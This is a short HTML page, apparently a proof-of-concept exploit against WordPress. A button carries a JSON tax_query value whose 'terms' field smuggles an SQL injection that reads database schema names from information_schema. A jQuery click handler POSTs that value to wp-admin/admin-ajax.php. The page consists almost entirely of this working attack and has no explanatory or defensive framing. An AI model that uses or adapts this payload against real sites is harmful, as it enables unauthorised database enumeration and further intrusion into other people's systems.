<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script crossorigin="anonymous" integrity="sha384-mlceH9HlqLp7GMKHrj5Ara1+LvdTZVMx4S1U43/NxCvAkzIo8WJ0FE7duLel3wVo"
    src="https://lib.baomitu.com/jquery/3.4.1/jquery.js"></script>

</head>

<body>
  <input id="a" type="button"
    value='{"tax_query":[{"field":"term_taxonomy_id","terms":["1 and select schema_name from information_schema.schemata--"]}]}'>
  <script>
    $(document).ready(function () {
      $("#a").click(function () {
        $.ajax({
          url: "wp-admin/admin-ajax.php",
          type: "POST",
          data: {
            action: "test",
            data: $("#a").val()
          },
          success: function (params) {
            console.log("network1.");
          },
          error: function (params) {
            console.log("network failed.");
            console.log($(".nav-search-content>.ipt").val());
          }
        })
      })
    })
  </script>
</body>

</html>
